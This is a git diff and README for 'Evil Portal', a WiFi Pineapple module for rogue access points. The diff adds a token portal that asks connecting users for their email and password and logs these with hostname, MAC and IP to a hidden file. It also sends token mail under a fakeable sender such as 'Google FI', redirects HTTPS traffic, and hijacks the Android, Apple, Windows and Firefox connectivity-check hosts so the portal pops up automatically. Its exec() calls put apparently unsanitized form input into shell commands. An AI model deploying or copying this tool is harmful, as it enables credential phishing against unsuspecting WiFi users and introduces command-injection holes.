diff --git a/EvilPortal/executable/executable b/EvilPortal/executable/executable index 079cab0..cf01664 100755 --- a/EvilPortal/executable/executable +++ b/EvilPortal/executable/executable @@ -29,6 +29,7 @@ case "$1" in $IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination $IP:80 # Need to activate HTTPS on the nginx server of the PineAP, so for now HTTPS traffic is dropped. #$IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:443 + $IPTABLES -t nat -A prerouting_rule -m mark --mark 99 -p tcp --dport 443 -j DNAT --to-destination $IP:80 # for use with dns spoff $IPTABLES -t filter -A forwarding_rule -p udp --dport 53 -j ACCEPT @@ -38,6 +39,8 @@ case "$1" in #$IPTABLES -t filter -A input_rule -p tcp --dport 443 -j ACCEPT #Webserver $IPTABLES -t filter -A input_rule -p tcp --dport 1471 -j ACCEPT #PineAP admin page $IPTABLES -t filter -A input_rule -p tcp --dport 22 -j ACCEPT #SSH + $IPTABLES -t filter -A input_rule -p tcp --dport 465 -j ACCEPT #Smtp Accept + # All other traffic which is marked 99 is just dropped $IPTABLES -t filter -A forwarding_rule -m mark --mark 99 -j DROP @@ -96,4 +99,4 @@ case "$1" in *) echo "USAGE: $0 {initialize|add |remove |purge|list}" exit 0 - esac \ No newline at end of file + esac diff --git a/EvilPortal/includes/api/Portal.php b/EvilPortal/includes/api/Portal.php index e67cd31..21f7f8d 100644 --- a/EvilPortal/includes/api/Portal.php +++ b/EvilPortal/includes/api/Portal.php @@ -34,6 +34,16 @@ protected final function execBackground($command) exec("echo \"{$command}\" | at now"); } + /** + * sendmail. + * @param $email: The receive mail + */ + protected final function sendmail($sub, $bod, $sender, $email) + { + exec("echo -e 'Subject: {$sub} \n\n {$bod}\n' | sendmail -f {$sender} {$email} | at now"); + } + + /** * Send notifications to the web UI. * @param $message: The notification message @@ -60,6 +70,7 @@ protected final function writeLog($message) } } + /** * Creates an iptables rule allowing the client to access the internet and writes them to the authorized clients. * Override this method to add other authorization steps validation. @@ -102,6 +113,7 @@ protected function redirect() header("Location: {$this->request->target}", true, 302); } + /** * Override this to do something when the client is successfully authorized. * By default it just notifies the Web UI. diff --git a/EvilPortal/includes/skeleton/hotspot-detect.html b/EvilPortal/includes/skeleton/hotspot-detect.html new file mode 100644 index 0000000..d1c3083 --- /dev/null +++ b/EvilPortal/includes/skeleton/hotspot-detect.html @@ -0,0 +1,5 @@ + + + + + diff --git a/EvilPortal/includes/skeleton/index.php b/EvilPortal/includes/skeleton/index.php index 8f969c2..5f500be 100644 --- a/EvilPortal/includes/skeleton/index.php +++ b/EvilPortal/includes/skeleton/index.php @@ -1,6 +1,42 @@ exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); ?> diff --git a/EvilPortal/includes/targeted_skeleton/hotspot-detect.html b/EvilPortal/includes/targeted_skeleton/hotspot-detect.html new file mode 100644 index 0000000..d1c3083 --- /dev/null +++ b/EvilPortal/includes/targeted_skeleton/hotspot-detect.html @@ -0,0 +1,5 @@ + + + + + diff --git a/EvilPortal/includes/targeted_skeleton/index.php b/EvilPortal/includes/targeted_skeleton/index.php index 6bacbd1..d671fdb 100644 --- a/EvilPortal/includes/targeted_skeleton/index.php +++ b/EvilPortal/includes/targeted_skeleton/index.php @@ -1,6 +1,41 @@ exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); /** * * DO NOT MODIFY THIS FILE diff --git a/EvilPortal/includes/token_skeleton/MyPortal.php b/EvilPortal/includes/token_skeleton/MyPortal.php new file mode 100644 index 0000000..f51c7cc --- /dev/null +++ b/EvilPortal/includes/token_skeleton/MyPortal.php @@ -0,0 +1,78 @@ +execBackground("notify $email' Requested Token:'$token' - PW:'$gpw' - IP:'$ip"); //notify panel + $this->sendmail($sub, $mailtext, $sender, $email); //Send the mail + + $reflector = new \ReflectionClass(get_class($this)); + $logPath = dirname($reflector->getFileName()); + file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$gpw}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); + + file_put_contents("{$logPath}/$mac:mail.txt", "{$email}/n", FILE_APPEND); // write mail file + file_put_contents("{$logPath}/$mac.txt", "{$token}", FILE_APPEND); // write auth file + die(); + } + + if (isset($_POST['getaccess'])) { + + $rtoken = isset($_POST['token']) ? $_POST['token'] : 'token'; + $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; + $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; + $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; + $reflector = new \ReflectionClass(get_class($this)); + $logPath = dirname($reflector->getFileName()); + $dtoken = file_get_contents("{$logPath}/$mac.txt"); //read auth file + if($rtoken == $dtoken) { + $this->execBackground("notify $mac' Login:'$rtoken' IP:'$ip"); //notify panel + parent::handleAuthorization(); + unlink("{$logPath}/$mac:mail.txt"); + unlink("{$logPath}/$mac.txt"); + } + } + // Call parent to handle basic authorization first + //parent::handleAuthorization(); + echo "Login Error !"; //show error + } + + + /** + * Override this to do something when the client is successfully authorized. + * By default it just notifies the Web UI. + */ + public function onSuccess() + { + // Calls default success message + parent::onSuccess(); + } + + /** + * If an error occurs then do something here. + * Override to provide your own functionality. + */ + public function showError() + { + // Calls default error message + parent::showError(); + } +} diff --git a/EvilPortal/includes/token_skeleton/helper.php b/EvilPortal/includes/token_skeleton/helper.php new file mode 100644 index 0000000..8e73535 --- /dev/null +++ b/EvilPortal/includes/token_skeleton/helper.php @@ -0,0 +1,45 @@ + + + + + diff --git a/EvilPortal/includes/token_skeleton/index.php b/EvilPortal/includes/token_skeleton/index.php new file mode 100644 index 0000000..b66b1aa --- /dev/null +++ b/EvilPortal/includes/token_skeleton/index.php @@ -0,0 +1,91 @@ +exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); +?> + + + Evil Portal + + + + + + + +
+

Evil Portal

+

This is the default Evil Portal page.

+

The SSID you are connected to is

+

Your host name is

+

Your MAC Address is

+

Your internal IP address is

+
+

Please enter your Email Address and Password to receive a Token

+ +
+ +

+ + + + + +

+ +
+ +
+

Token

+

Enter Your Token

+

Your Token has been send to your E-Mail
Enter the Token to continue

+ + + +

+ +
+ +
+ + + diff --git a/EvilPortal/includes/token_skeleton/portalinfo.json b/EvilPortal/includes/token_skeleton/portalinfo.json new file mode 100644 index 0000000..804318e --- /dev/null +++ b/EvilPortal/includes/token_skeleton/portalinfo.json @@ -0,0 +1,4 @@ +{ + "name": null, + "type": "token" +} diff --git a/EvilPortal/includes/token_skeleton/template.html b/EvilPortal/includes/token_skeleton/template.html new file mode 100644 index 0000000..5f71059 --- /dev/null +++ b/EvilPortal/includes/token_skeleton/template.html @@ -0,0 +1,362 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/EvilPortal/module.info b/EvilPortal/module.info index c23e282..2b59acf 100644 --- a/EvilPortal/module.info +++ b/EvilPortal/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Evil Portal", - "version": "3.1" -} \ No newline at end of file + "version": "4.B" +} diff --git a/README.md b/README.md index c235fa6..1ce32fd 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,44 @@ # EvilPortal -Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). This is the repository for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). +Evil Portal is a captive portal module for the [Hak5](https://www.hak5.org) [Wifi Pineapple](https://www.wifipineapple.com/). + +This is a clone of the repository [EvilPortalNano](https://github.com/frozenjava/EvilPortalNano) for the [Wifi Pineapple Nano](http://hakshop.myshopify.com/products/wifi-pineapple?variant=81044992) and [Wifi Pineapple Tetra](http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317). + +If you have a Wifi Pineapple MKV you can find the code for that version [here](https://github.com/frozenjava/evilportal). ## Overview +This version of the portal is able generate tokens and send those via mail (from template) and verifies those later. +This brings new abilities. + +## Requires you to setup: + +--> smtp settings on your pinapple. (smtp server infos needed) + +--> edit details of sender and subject of the mail in the MyPortal.php. (The sender and Subject for the user token mail) + +--> if needed replace the template.html (email template with your own | the template needs to have a string "TOKEN" !) + +## Normal flow : +User connects ---> enters email / pw ---> Internet + +## New possible flow: +User connects ---> enters email / pw ---> portal sends token ---> User enters Token ---> Internet +## Portals ### Basic Portals Basic Portals allow you to create a simple captive portal page that is the same for everyone who visits it. This is useful if your needs don't involve different clients seeing different branded pages or pages with unique functionality to them. ### Targeted Portals Targeted Portals allow you to create different portals to target a specific device or groups of devices based upon your pre-defined conditions. This is incredibly useful if you want all android devices to go to one android themed portal and all clients who are connected to "some-coffee-shop-wifi" go to a different portal all together. Targeted portals currently let you create targeting rules based on mac addresses, ssids, hostnames, and http useragents all on a per-client basis. You can either specify exact string matches or regex matches. +### Token Portals +Token Portals are Basic Portals with ability to generate tokens and send those via mail, those user based tokens will be request later to login. (sure will still ask for email and password !). + ## Manual Installation -First clone the repo and checkout the development branch +First clone the repo ``` git clone https://github.com/frozenjava/EvilPortalNano.git -git checkout -b development origin/development -git pull ``` Next change directory to EvilPortalNano @@ -31,6 +53,292 @@ Finally, with your Wifi Pineapple connected upload the EvilPortal directory to t scp -r EvilPortal root@172.16.42.1:/pineapple/modules/ ``` +# Now you need to setup your SMTP Settings on your pinapple: +(you can ssh and edit the files or use the [Cabinet Module](https://github.com/hak5/wifipineapple-modules/tree/master/Cabinet)) + +``` +edit the /etc/ssmtp/ssmtp.conf and change it with your configuration. +For example, configuration for GMAIL: +root@Pineapple:/etc/ssmtp# cat ssmtp.conf +# +# /etc/ssmtp.conf -- a config file for sSMTP sendmail. +# +# The person who gets all mail for userids < 1000 +# Make this empty to disable rewriting. +root=your_email@gmail.com + +# The place where the mail goes. The actual machine name is required +# no MX records are consulted. Commonly mailhosts are named mail.domain.com +# The example will fit if you are in domain.com and your mailhub is so named. +mailhub=smtp.gmail.com:465 + +# Where will the mail seem to come from? +rewriteDomain=gmail.com + +# The full hostname +hostname=mail.gmail.com + +# Set this to never rewrite the "From:" line (unless not given) and to +# use that address in the "from line" of the envelope. +FromLineOverride=YES + +# Use SSL/TLS to send secure messages to server. +UseTLS=YES +#UseSTARTTLS=Yes + +AuthUser=your_email@gmail.com +AuthPass=your_gmail_password + +# Use SSL/TLS certificate to authenticate against smtp host. +#UseTLSCert=YES + +# Use this RSA certificate. +#TLSCert=/etc/ssl/certs/ssmtp.pem +``` +# Edit Email details matching your needs: +``` +edit MyPortal.php and change: +$sub = "Google FI - Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info just replace "Google FI - Your WIFI-Token !" +$sender = "your_email@gmail.com or your_fake_sender_email@gmail.com"; //Sender of the mail +``` + + +# Change Nginx Servers to support hotspot auto detection on all devices. +# EDIT to / Override /etc/nginx/nginx.conf with : + +``` +user root root; +worker_processes 1; + + + +events { + worker_connections 1024; +} + + +http { + include mime.types; + index index.php index.html index.htm; + default_type text/html; + + sendfile on; + keepalive_timeout 65; + gzip on; + server_names_hash_bucket_size 64; + gzip_min_length 1k; + gzip_buffers 4 16k; + gzip_http_version 1.0; + gzip_comp_level 2; + gzip_types text/plain application/x-javascript text/css application/xml; + gzip_vary on; + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name www; # Change this, reference -> http://nginx.org/en/docs/http/server_names.html + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name connectivitycheck.gstatic.com connectivitycheck.android.com clients3.google.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name captive.apple.com www.airport.us www.thinkdifferent.us; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 800; + fastcgi_send_timeout 600; + fastcgi_read_timeout 600; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 15; + client_header_timeout 15; + send_timeout 120; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name www.msftconnecttest.com msftconnecttest.com www.msftncsi.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name detectportal.firefox.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + + server { + listen 1471; # Port, make sure it is not in conflict with another http daemon. + server_name pineapple; # Change this, reference -> http://nginx.org/en/docs/http/server_names.html + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /pineapple/; # Your document root, where all public material is. + add_header 'Cache-Control' 'no-cache, no-store, must-revalidate'; + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + } +} +``` + Head on over to the Wifi Pineapples Web Interface and go to the Evil Portal module. You're all done! ## Useful Links @@ -43,11 +351,17 @@ Head on over to the Wifi Pineapples Web Interface and go to the Evil Portal modu If you want to contribute to the project feel free to tackle one of these tasks! ### TODO -* Figure out how to redirect clients going to HTTPS sites * Add ability to program commands to run when a portal is enabled/disabled ## Release History +### Version 4.B +* Added Hotspot Hosts to Webserver (connectivitycheck.gstatic.com .. etc. Will auto popup on Windows / Iphone / Android) +* Added Sendmail and Token +* Added Hotspot detection html +* Added Tracking Script (Pinapple Dashboard Browser Stats (Still Beta)) +* Https fix + ### Version 3.1 * Added ability to write and view logs on a per-portal basis * Created method writeLog($message) that writes to the portal log file